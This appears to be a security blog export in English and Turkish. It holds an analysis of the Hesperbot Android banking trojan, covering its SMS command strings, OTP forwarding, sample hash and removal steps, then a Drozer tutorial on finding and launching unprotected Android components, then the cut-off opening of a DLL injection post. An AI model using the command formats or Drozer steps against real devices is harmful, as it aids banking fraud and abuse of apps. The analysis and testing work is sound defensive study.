<b>4.)</b> If the SMS is from Admin and the SMS body is "<b><span style="font-family: Courier New, Courier, monospace;">oeivnwor</span></b>" string, that means Hesperbot mobile malware should be deactivated and the status of the malware should be updated to <b><span style="font-family: Courier New, Courier, monospace;">OFF</span></b> in the Settings database. After the datable record is updated, a success message is sent to the Admin.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-1tdPySLjbls/VCbOfPu__XI/AAAAAAAACE0/wDbNP75DePs/s1600/deactivateHesperbot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-1tdPySLjbls/VCbOfPu__XI/AAAAAAAACE0/wDbNP75DePs/s1600/deactivateHesperbot.png" height="132" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-15tDkO4hk4s/VCbOkSsP0EI/AAAAAAAACE8/Dj8EU-yA0I4/s1600/cert_db.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-15tDkO4hk4s/VCbOkSsP0EI/AAAAAAAACE8/Dj8EU-yA0I4/s1600/cert_db.png" height="140" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>5.)</b> If the SMS is from Admin and the SMS body is "<b><span style="font-family: Courier New, Courier, monospace;">crhipa</span></b>"<span style="font-family: Courier New, Courier, monospace;"><b> </b></span>string, that means Hesperbot mobile malware should be uninstalled from the device and the status of the malware should be updated to <b><span style="font-family: Courier New, Courier, monospace;">OFF</span></b> in the Settings database. In order to do that, Hesperbot has to be removed from the Device Administrators list first. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-7HHPbBqXx78/VCbP7YXxbBI/AAAAAAAACFE/7bXcSj9Dj4U/s1600/removeAdmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-7HHPbBqXx78/VCbP7YXxbBI/AAAAAAAACFE/7bXcSj9Dj4U/s1600/removeAdmin.png" height="56" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Two different uninstallation method is implemented in the Hesperbot malware. First method uses package manager and the second uses <span style="font-family: Courier New, Courier, monospace;">android.intent.action.DELETE</span> intent to uninstall Hesperbot from the device. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-xakYHebCTyc/VCbRPx7AmTI/AAAAAAAACFM/KtDWwiNLGGo/s1600/uninstallMe.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-xakYHebCTyc/VCbRPx7AmTI/AAAAAAAACFM/KtDWwiNLGGo/s1600/uninstallMe.png" height="594" width="640" /></a><a href="http://3.bp.blogspot.com/-pYzza8JXnc8/VCbRQkhWcUI/AAAAAAAACFQ/54KuJgtthsA/s1600/uninstall2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-pYzza8JXnc8/VCbRQkhWcUI/AAAAAAAACFQ/54KuJgtthsA/s1600/uninstall2.png" height="152" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>6.)</b> If the SMS is from Admin and the SMS body starts with "<b><span style="font-family: Courier New, Courier, monospace;">+</span></b>" character, that means admin is setting new Admin phone number. The remaining part of the SMS body is recorded as the Admin phone number in the Settings database and the success message is sent to the new admin phone number. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-rW30Wmc9BH8/VCbSCJhnCJI/AAAAAAAACFc/PzPmYiYGMlo/s1600/setadmin2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-rW30Wmc9BH8/VCbSCJhnCJI/AAAAAAAACFc/PzPmYiYGMlo/s1600/setadmin2.png" height="414" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>7.)</b> If the SMS is from Admin and the SMS body starts with "<b><span style="font-family: Courier New, Courier, monospace;">sms:</span></b>" string, that means a new SMS message is going to be sent to any arbitrary phone number with an arbitrary content. The format of the received SMS message is shown below:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><b>sms:<SMSBody>;<NumberToSend><anyCharacter></b></span></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-M1dczNz5UR0/VCbTO5lT8AI/AAAAAAAACFo/jsDlC78hgtA/s1600/sendSMS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-M1dczNz5UR0/VCbTO5lT8AI/AAAAAAAACFo/jsDlC78hgtA/s1600/sendSMS.png" height="382" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>8.)</b> If the SMS is from Admin and the SMS body starts with "ussd:" string, that means a USSD command is going to be processed by the victim phone. The format of the received SMS message is shown below:</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace; text-align: start;"><b>ussd:<USSDCODE>;</b></span></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-WFDmcNQADAI/VCbT9_WQl7I/AAAAAAAACFw/C96NaxiJxlo/s1600/Processussd.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-WFDmcNQADAI/VCbT9_WQl7I/AAAAAAAACFw/C96NaxiJxlo/s1600/Processussd.png" height="392" width="640" /></a></div>
<br />
<div style="text-align: justify;">
The result of the USSD code is caught by the CDUSSDService that was registered in the first place.</div>
<h3>
Conclusion</h3>
<div style="text-align: justify;">
As a conclusion, Hesperbot mobile malware adds itself to the Device Administrators list to prevent itself from being uninstalled, registers services and broadcast receivers to catch received SMS messages and forward them to the attacker. This functionality is used for forwarding online banking OTP SMS messages to the attacker without the knowledge of the victim and breaking the two factor authentication of the online banking services.</div>
<div style="text-align: justify;">
Additionally Hesperbot malware gets commands via SMS channel and it has the capability of processing USSD commands and sending SMS messages to an arbitrary phone number with an arbitrary SMS body. This is a functionality which can be used by attackers to abuse premium SMS services.<br />
Details of the analysed Hesperbot malware sample are shown below:<br />
<br />
<ul>
<li><b>Name:</b> CEPWAP_8.apk</li>
<li><b>OS:</b> Android</li>
<li><b>SHA-1:</b> cfc8d96162d0d8adb76acfe941d70ae5ffa51db9 </li>
</ul>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-37313214151698853372014-09-04T10:13:00.000+03:002014-09-16T22:13:17.908+03:00Yeni Nesil Hesperbot Zararlı Yazılımı Mobil Kısım İncelemesi - Özet<div style="text-align: justify;">
Kamuoyunda Hesperbot (DefRef) olarak bilinen zararlı yazılım bir kez daha Türkiye’deki banka kullanıcılarını hedef almaktadır. Son sürümde de Hesperbot, bankalardaki ikili kimlik doğrulama mekanizmalarını atlatabilmek amacıyla, PC ve mobil sistemlere birlikte saldırmaktadır. Halihazırda aktif olan zararlı yazılım, eski sürümlerine benzer şekilde çeşitli kurumlardan gelmiş gibi görünen sahte fatura elektronik postalarını kullanarak yayılmaktadır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Kullanıcı bilgisayar üzerinden internet bankacılığı hizmetini kullandığında Hesperbot PC zararlısı kullanıcıya bankanın yeni mobil uygulamsını indirerek mobil cihazı üzerinden aktivasyon yapması konusunda bir uyarı çıakrtmaktadır. Cihaza uygun zarrlı yazılım SMS üzerinden mobil cihaza yönlendirilmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-4d52FNzjWLA/VBaO08AUW_I/AAAAAAAAB_k/3vXrJzPtuNg/s1600/bankasms.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-4d52FNzjWLA/VBaO08AUW_I/AAAAAAAAB_k/3vXrJzPtuNg/s1600/bankasms.png" height="400" width="225" /></a></div>
<a name='more'></a><br />
<div class="separator" style="clear: both; text-align: justify;">
Uygulamanın kurulum sırasında talep ettiği izinler incelendiğinde kullanıcıdan SMS-MMS alma, SMS gönderme, telefon rehberine erişim, telefon açma gibi kullanıcıya maddi kayıp oluşturabilecek izinlerin yanı sıra; çok daha şüpheli olan cihaz başlatıldığında haber alma, cihazı yeniden başlatma veya kapatma, çalışan prosesleri sonlandırma ve log kayıtlarına erişim gibi izinleri de talep ettiği görülmektedir. Özellikle cihaz başlatıldığında haber alma izni, mobil zararlı yazılımlar tarafından kendi kendini başlatma özelliği için kullanılmaktadır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Ptv0WJBwY8k/VBaPD3sHfJI/AAAAAAAAB_s/jfWkkecC-q8/s1600/permissions2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Ptv0WJBwY8k/VBaPD3sHfJI/AAAAAAAAB_s/jfWkkecC-q8/s1600/permissions2.png" height="351" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Uygulama ilk bakışta internet bankacılığı aktivasyon ve internet bankacılığı tek kullanımlık şifre üretme uygulaması olarak görünmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-M-l1EA6qSGw/VBaPQntHy5I/AAAAAAAAB_4/x8WWgt-vDL4/s1600/activationotp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-M-l1EA6qSGw/VBaPQntHy5I/AAAAAAAAB_4/x8WWgt-vDL4/s1600/activationotp.png" height="306" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Ancak sözde aktivasyon işlemi tamamlandıktan sonra uygulama kendisini cihaz yöneticileri listesine ekleme talebi yapmakta ve aynı zamanda arka planda çalıştırdığı servislerle cihaza gelen tüm SMS’leri takibe almaktadır. Kendisini cihaz yöneticileri listesine eklemesi uygulamanın cihazdan bir güvenlik uygulaması ile kaldırılmasını engelleme amaçlıdır. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-fAEsecevidQ/VBaPbjzohlI/AAAAAAAACAA/yQN6XgixBCI/s1600/device%2Badmin%2Bcopy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-fAEsecevidQ/VBaPbjzohlI/AAAAAAAACAA/yQN6XgixBCI/s1600/device%2Badmin%2Bcopy.png" height="400" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Cihaz yeniden başladığında otomatik olarak zararlı uygulama prosesi ve uygulama servisleri ayağa kalkmakta arka planda çalışmaya başlamaktadır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-PTRuMznKxK4/VBaPozVjpnI/AAAAAAAACAI/x_yjXIEm-cg/s1600/services.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-PTRuMznKxK4/VBaPozVjpnI/AAAAAAAACAI/x_yjXIEm-cg/s1600/services.png" height="400" width="225" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Uygulama saldırgan tarafından SMS yoluyla yönetilmektedir. Saldırganın belirlediği yönetici telefon numarası dışında herhangi bir numaradan gelen tüm SMS’ler kullanıcıya gösterilmeden saldırgana yönlendirilmektedir. Bu sayede bankalardan gelen tek kullanımlık SMS şifreleri da saldırganın eline geçmektedir. Saldırgana yönlendirilen mesajda, bankadan gelen mesaj içeriği ve “Fr:” ifadesi ile birlikte bankanın SMS gönderdiği telefon numarası bulunmaktadır. Aşağıdaki şekilde enfekte olmuş kurban cihaza gelen örnek bir SMS mesajının saldırganın cihazına yönlendirildiği görülebilmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-l2KKTj1Mb8w/VBaP6uHQbDI/AAAAAAAACAQ/ewYR2Nd4uy4/s1600/5556_Android233.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-l2KKTj1Mb8w/VBaP6uHQbDI/AAAAAAAACAQ/ewYR2Nd4uy4/s1600/5556_Android233.png" height="178" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Ayrıca saldırgan istediği zaman yine SMS ile gönderdiği komutlar vasıtasıyla zararlı uygulamayı devreye alıp istediği zaman devre dışı bırakabilmektedir. Bu sayede çok fazla dikkat çekmeden işlemlerine uzun süre devam edebilmektedir.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Saldırganın yönetici telefon numarasından gönderdiği USSD komutları da yine kurban telefon tarafından çalıştırılmaktadır. Ayrıca saldırgan, kurban telefon üzerinden istediği herhangi bir telefon numarasına SMS gönderebilmektedir. Bu özellik sayesinde saldırgan, kurban cihazlar üzerinden yüksek ücretli servislere abone olma ve üçüncü kişilere SMS gönderme gibi saldırılar gerçekleştirebilmektedir.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Saldırgan iz bırakmamak adına yine SMS üzerinden gönderdiği bir komutla uygulamayı cihazdan kaldırabilmektedir.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Kısaca Hesperbot mobil modülünün yaptığı asıl işlem, Hesperbot zararlısı tarafından enfekte edilmiş mobil cihaza gelen internet bankacılığı tek kullanımlık şifre SMS’lerini ele geçirerek saldırgana yönlendirmektir. </div>
<h4>
Hesperbot Mobil Modülünün Cihazdan Temizlenmesi</h4>
<div class="separator" style="clear: both; text-align: justify;">
Hesperbot mobil modülü kendisini cihaz yöneticileri listesine eklediğinden dolayı herhangi bir yetkisiz güvenlik yazılımı ile temizlenememektedir. Bunun için öncelikle Hesperbot mobil uygulamasının cihaz yöneticisi hakkının geri alınması gerekmektedir.</div>
<div class="separator" style="clear: both; text-align: justify;">
Bu işlem için</div>
<blockquote class="tr_bq">
<b><i>Ayarlar > Güvenlik > Cihaz Yöneticileri</i></b></blockquote>
<div class="separator" style="clear: both; text-align: justify;">
adımları takip edilerek açılan ekranda CEPWAP uygulamasının yanında bulunan tik işareti kaldırılmalıdır. Bu sayede uygulama yöneticisi menüsünde CEPWAP uygulaması için cihazdan kaldırma butonu aktif hale gelecek ve uygulama cihazdan kaldırılabilir duruma gelecektir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-LUvwyQ5q4Rs/VBaQT4CktTI/AAAAAAAACAY/IeeubBte5GY/s1600/deviceadmintick.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-LUvwyQ5q4Rs/VBaQT4CktTI/AAAAAAAACAY/IeeubBte5GY/s1600/deviceadmintick.png" height="181" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Uygulamayı cihazdan kaldırabilmek için Android sürüm bilgisine bağlı olarak</div>
<blockquote class="tr_bq">
<b><i>Ayarlar >Daha Fazla> Uygulama Yöneticisi</i></b> veya <b><i>Ayarlar > Uygulamalar</i></b></blockquote>
<div class="separator" style="clear: both; text-align: justify;">
adımları takip edilerek gelen listeden CEPWAP uygulaması seçilmeli ve “Kaldır” butonuna basılarak uygulama kaldırılmalıdır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-hxVgvy4qvTo/VBaQjizrN1I/AAAAAAAACAg/6Oq-B4WOSWQ/s1600/uninstall%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-hxVgvy4qvTo/VBaQjizrN1I/AAAAAAAACAg/6Oq-B4WOSWQ/s1600/uninstall%2B2.png" height="400" width="237" /></a></div>
<h4>
Genel Tavsiyeler</h4>
<div class="separator" style="clear: both; text-align: justify;">
Kullanıcıların Hesperbot mobil zararlı yazılımına karşı dikkat etmeleri gereken hususların başında zararlı yazılımın talep ettiği izinlere dikkat edilmesi gelmektedir. Ayrıca bir bankacılık uygulamasının cihaz yöneticisi hakkı talep etmesi alışılmışın dışında şüpheli bir davranış şeklidir. Güvenilmeyen hiçbir uygulamaya cihaz yöneticisi hakkı ve gereğinden fazla izin verilmemesi mobil cihaz kullanımı ile ilgili tavsiye edilebilecek hususlardan başında gelmektedir. Şüpheli bir durumla karşılaşıldığında banka müşteri hizmetleri aranarak uygulamanın varlığı teyit edilebilir.</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-34942970142993147152014-07-21T15:19:00.000+03:002014-07-22T10:57:25.655+03:00Android'de Güvensiz Komponentlerin Drozer ile Tespiti<div style="text-align: justify;">
Daha önceki <a href="http://www.oguzhantopgul.com/2014/05/androidde-izin-almadan-izin-kullanma.html" target="_blank">Android'de İzin Almadan İzin Kullanmak</a> yazısında bahsedildiği üzere korunmayan komponentler diğer uygulamalar tarafından kötü niyetli olarak kullanılabilmektedir. Content Provider'ların sunmuş olduğu veriler okunabilir, servislere ve activity'lere izin almadan kontrolsüz bir şekilde erişilebilir ve bazı işlemler yaptırılabilir. Bu bağlamda güvenlik testi yaparken uygulanacak adımlardan bir tanesi güvensiz komponentlerin tespit edilmesi olacaktır. Korunmayan, güvensiz komponentlerin tespiti sırasında kullanılabilecek araçlardan bir tanesi Drozer aracıdır. <a href="https://www.mwrinfosecurity.com/products/drozer/" target="_blank">Drozer</a>, Android uygulama testleri için geliştirilmiş bir framework'tür. Android'in metasploiti olarak düşünülebilir.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Drozer ile çalışabilmek için birbirleriyle haberleşen biri Android cihazda (emulatörde), diğeri bilgisayarda olmak üzere iki adet drozer uygulaması indirilmelidir. Aşağıdaki bağlantıdan drozer agent apk dosyası ve drozer console uygulaması kullanılan işletim sistemine uygun olarak indirilebilir. </div>
<div style="text-align: justify;">
<a href="https://www.mwrinfosecurity.com/products/drozer/community-edition/">https://www.mwrinfosecurity.com/products/drozer/community-edition/</a></div>
<div style="text-align: justify;">
<br />
(Bu yazıda client uygulaması Ubuntu işletim sistemine uygun olarak seçilecektir)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Drozer Agent apk uygulaması bağlantıdan indirilerek cihaza/emülatöre <a href="http://developer.android.com/tools/help/adb.html" target="_blank">adb</a> aracı üzerinden kurulacaktır. adb aracı Android SDK ile birlikte gelen ve cihaz/emülatör ile iletişime geçmek amacıyla kullanılan bir araçtır. Android SDK <b>/platform-tools</b> dizini altında yer almaktadır. Android cihaz bilgisayara bağlandıktan sonra (emülatör ayağa kaldırıldıktan sonra)</div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">adb install agent.apk</span></blockquote>
</div>
<div style="text-align: justify;">
komutu çalıştırılarak drozer agent uygulaması cihaza kurulmaktadır. İndirilen drozer console client'ı da arşiv dosyasından çıkartılarak </div>
<div style="text-align: justify;">
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">dpkg -i drozer2.x.x.deb</span></blockquote>
komutu ile de bilgisayara kurulabilir. Uygulamanın doğru kurulduğunu anlamanın kolay yolu drozer'ı çalıştırmaktır. Drozer çalıştırıldığında aşağıdaki gibi bir yardım menüsü görüntüsüyle karşılaşılmalıdır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-6Wzp2CAJ-6M/U8z394s_fhI/AAAAAAAAB6c/ORS4dYDE0ks/s1600/drozer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-6Wzp2CAJ-6M/U8z394s_fhI/AAAAAAAAB6c/ORS4dYDE0ks/s1600/drozer.png" /></a></div>
Daha sonra cihazda bulunan drozer uygulaması çalıştırılmalı ve sağ alt köşsedeki buton vasıtasıyla drozer uygulaması aktifleştirilmelidir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-0JRDug6bN10/U8z393ApcaI/AAAAAAAAB60/IeTKuIgR4Xw/s1600/drozergui1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-0JRDug6bN10/U8z393ApcaI/AAAAAAAAB60/IeTKuIgR4Xw/s1600/drozergui1.png" height="400" width="251" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Drozer aktif hale getirildikten sonra aşağıdaki gibi bir ekran ile karşılaşılacaktır.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-UUWqWYk-Sb8/U8z3-lRkYKI/AAAAAAAAB7A/o1870lZ0IOo/s1600/drozergui2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-UUWqWYk-Sb8/U8z3-lRkYKI/AAAAAAAAB7A/o1870lZ0IOo/s1600/drozergui2.png" height="400" width="250" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Görüldüğü üzere drozer sunucusu Android cihazda 31415 portundan bağlantıları beklemektedir.</div>
<div class="separator" style="clear: both; text-align: justify;">
Bu işlemden sonra adb aracı kullanılarak bilgisayardaki lokal 31415 portuna gelen socket bağlantılarının, cihaz/emülatör'ün 31415 portuna yönlendirilmesi gerekmektedir. Çünkü drozer uygulamasının bilgisayara kurulan console uygulaması 31415 portuna bağlantı isteği göndermektedir. Aynı zamanda cihaz/emülatör'de çalışan drozer uygulaması da 31415 portundan dinleme yapmaktadır.</div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">adb forward tcp:31415 tcp:31415</span></blockquote>
komutu bu işlem için kullanılmaktadır. Bu yönlendirmeyi yaptıktan sonra bilgisayarda<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">drozer console connect</span></blockquote>
komutu çalıştırılacak cihaz/emülatör'deki drozer sunucusu ile bağlantı kurulması sağlanmaktadır. Bütün adımlar doğru yapıldığı taktirde aşağıdaki gibi bir ekran görüntüsüyle karşılaşılacaktır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-OrjAbBjMtZ4/U8z39yqrDBI/AAAAAAAAB6w/d9Tpp-q6ySk/s1600/drozer2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-OrjAbBjMtZ4/U8z39yqrDBI/AAAAAAAAB6w/d9Tpp-q6ySk/s1600/drozer2.png" /></a></div>
Bu sırada cihazdaki uygulama arayüzünde bağlantının kurulduğuna dair veriler de görülebilmektedir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-_8iNa5hRmJA/U8z3-geyGZI/AAAAAAAAB64/ND5LA8XMcUE/s1600/drozergui3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-_8iNa5hRmJA/U8z3-geyGZI/AAAAAAAAB64/ND5LA8XMcUE/s1600/drozergui3.png" height="400" width="248" /></a></div>
Drozer uygulaması başarılı bir şekilde çalıştırıldıktan sonra cihazda bulunan güvensiz komponentler testpit edilebilmektedir.<br />
<br />
<u>Güvensiz service'lerin tespit edilmesi</u> için drozer üzerinden<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">dz> run app.service.info</span></blockquote>
komutu çalıştırılarak export edilmiş ve/veya intent-filter tanımlanmış fakat zamanda herhangi bir izin tarafından korunmayan service'lerin listesi elde edilebilir. Örnek olarak aşağıdaki ekran görüntüsünde drozer tarafından tespit edilen güvensiz servis bulunan uygulamalardan bir tanesi whatsapp uygulamasıdır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-4j9RbiUi4Jw/U8z9sMgXILI/AAAAAAAAB7M/S4OatQMb1BU/s1600/drozer+whatsapp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-4j9RbiUi4Jw/U8z9sMgXILI/AAAAAAAAB7M/S4OatQMb1BU/s1600/drozer+whatsapp.png" /></a></div>
Aynı komuta <b>-f</b> parametresi ile keyword verilebilir ve böylece istenilen herhangi bir keyword için arama daraltılabilir. Benzer bir şekilde <b>-a</b> parametresi ile birlikte uygulama paket ismi verilerek arama daraltılabilir. <b>-p</b> parameteresi verilerek permission ile de arama yapılabilmektedir.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">dz> run app.service.info -f whatsapp</span></blockquote>
ve<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">dz> run app.service.info -a com.whatsapp</span></blockquote>
Korunmasız servisler yine drozer üzerinden çalıştırılabilmektedir. Bunun için drozer'dan<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">dz> run app.service.start --component KOMPONENT_ADI SERVIS_ADI</span></blockquote>
komutu çalıştırılabilir. Örnek olarak whatsapp uygulamasının<br />
<blockquote class="tr_bq">
com.whatsapp.accountsync.AccountAuthenticatorService</blockquote>
servisini çalıştırmak için<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>dz> run app.service.start --component com.whatsapp com.whatsapp.accountsync.AccountAuthenticatorService</b></span></blockquote>
komutu çalıştırılmalıdır. Servis çalıştırılması ile ilgili tüm ayrıntılar için <b>-h</b> parametresi ile help dosyası görüntülenebilmektedir.<br />
<br />
<a href="http://www.oguzhantopgul.com/2014/05/androidde-izin-almadan-izin-kullanma.html" target="_blank">Önceki yazıda </a>yer alan first uygulaması yine drozer tarafından tespit edilmiştir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-RgTVGxoZk6U/U8z9sL0-bUI/AAAAAAAAB7Y/dMylC4bB9Hs/s1600/drozerfirst.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-RgTVGxoZk6U/U8z9sL0-bUI/AAAAAAAAB7Y/dMylC4bB9Hs/s1600/drozerfirst.png" height="75" width="400" /></a></div>
-p parametresi ile yapılan arama sonucu da aşağıdaki şekilde bir sonuç verecektir.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-aoKfSh686nY/U80Aa_uk2PI/AAAAAAAAB7g/MJaCjkwKB2s/s1600/drozerpermission.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-aoKfSh686nY/U80Aa_uk2PI/AAAAAAAAB7g/MJaCjkwKB2s/s1600/drozerpermission.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
Güvensiz service'ler ile yapılabilecekler daha çok fazla işlem vardır. Ancak bu yazı içerisinde daha fazla detaya girilmeyecektir. Detaylı bilgi için drozer komutlarına <b>-h </b>parametresi verilerek yardım menüsü görüntülenebilmektedir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-S58utWbzw2U/U80BNpWIGDI/AAAAAAAAB7o/WTkV3RSfpxU/s1600/drozerservice.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-S58utWbzw2U/U80BNpWIGDI/AAAAAAAAB7o/WTkV3RSfpxU/s1600/drozerservice.png" /></a></div>
<br />
<u>Güvensiz activity'lerin tespit edilmesi</u><br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">dz> run app.activity.info</span></blockquote>
komutu ile gerçekleştirilmektedir. Yine -a parameteresi ile birlikte paket adı; ve -f parametresi ile de herhangi bir keyword verilerek arama daraltılabilmektedir. Ve yine -p parametersi ile arama, izne göre de daraltılabilmektedir. Detaylar için -h parametresi kullanılarak yardım ekranı görüntülenebilir.<br />
Güvensiz activity'ler, service'lere benzer bir şekilde<br />
<blockquote class="tr_bq">
<span style="font-family: 'Courier New', Courier, monospace;">dz> run app.activity.start --KOMPONENT_ADI ACTIVITY_ADI</span></blockquote>
şeklinde çalıştırılabilir. Örnek olarak <a href="http://www.oguzhantopgul.com/2014/05/androidde-izin-almadan-izin-kullanma.html" target="_blank">önceki yazıda yer alan second uygulaması</a> drozer ile aşağıdaki komut yardımıyla çalıştırılabilir.<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace; font-size: x-small;"><b>run app.activity.start --component com.ouz.second com.ouz.second.SecondAppMainActivity</b></span><br />
<div>
<br /></div>
</blockquote>
<u>Güvensiz content provier'ların tespit edilmesi</u> drozer üzerinden benzer bir şekilde<br />
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">dz> run app.provider.info --permission null</span></blockquote>
komutu ile tespit edilmektedir. Detaylar için -h parametresi kullanılarak yardım ekranı görüntülenebilir.<br />
<br />
Bu yazıda amaç Drozer aracını kullarak güvensiz komponentlerin tespit edilmesi idi. Daha detaylı testler ve adımlar için drozer'ın yardım menüsü kullanılabilir. İlerleyen günlerde drozer ile daha detaylı işlemlerin yapıldığı yazılar yayınlanacaktır.</div>
Unknownnoreply@blogger.comtag:blogger.com,1999:blog-880810377140693460.post-25803922835209804432014-06-26T10:30:00.000+03:002014-07-01T11:47:18.661+03:00DLL Injection (DLL Enjeksiyonu)<div style="text-align: justify;">
Bir çok zararlı yazılım tarafından tarafından aktif olarak kullanılan zararlı yazılımın gizlenerek çalışmasın sağlayan önemli yöntemlerden biri DLL enjeksiyonudur.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
